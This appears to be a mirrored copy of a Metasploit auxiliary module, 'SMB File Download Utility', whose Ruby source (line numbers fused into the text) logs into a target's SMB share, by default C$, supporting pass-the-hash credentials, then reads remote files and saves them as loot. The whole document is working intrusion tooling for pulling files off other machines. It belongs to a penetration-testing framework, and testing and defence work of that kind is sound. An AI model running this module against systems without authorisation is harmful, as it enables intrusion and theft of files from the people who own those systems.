Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/smb/download_file.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67# Exploit mixins should be called first8include Msf::Exploit::Remote::SMB::Client9include Msf::Exploit::Remote::SMB::Client::Authenticated10include Msf::Exploit::Remote::SMB::Client::RemotePaths11include Msf::Auxiliary::Report12include Msf::Auxiliary::Scanner13include Msf::OptionalSession::SMB1415def initialize16super(17'Name' => 'SMB File Download Utility',18'Description' => %Q{19This module downloads a file from a target share and path. The usual reason20to use this module is to work around limitations in an existing SMB client that may not21be able to take advantage of pass-the-hash style authentication.22},23'Author' =>24[25'mubix' # copied from hdm upload_file module26],27'License' => MSF_LICENSE,28)2930register_options([31OptString.new('SMBSHARE', [true, 'The name of a share on the RHOST', 'C$'])32])33end3435def smb_download36vprint_status("Connecting...")37if session3839print_status("Using existing session #{session.sid}")40client = session.client41self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client)42else43connect44smb_login()45end4647vprint_status("Mounting the remote share \\\\#{simple.address}\\#{datastore['SMBSHARE']}'...")48self.simple.connect("\\\\#{simple.address}\\#{datastore['SMBSHARE']}")4950remote_paths.each do |remote_path|51begin52vprint_status("Trying to download #{remote_path}...")5354data = ''55fd = simple.open("#{remote_path}", 'o')56begin57data = fd.read58ensure59fd.close60end6162fname = remote_path.split("\\")[-1]63path = store_loot("smb.shares.file", "application/octet-stream", rhost, data, fname)64print_good("#{remote_path} saved as: #{path}")65rescue Rex::Proto::SMB::Exceptions::ErrorCode => e66elog("Unable to download #{remote_path}:", error: e)67print_error("Unable to download #{remote_path}: #{e.message}")68end69end70end7172def run_host(ip)73validate_rpaths!7475begin76smb_download77rescue Rex::Proto::SMB::Exceptions::LoginError => e78elog("Unable to login: #{e.message}", error: e)79print_error("Unable to login: #{e.message}")80end81end82end838485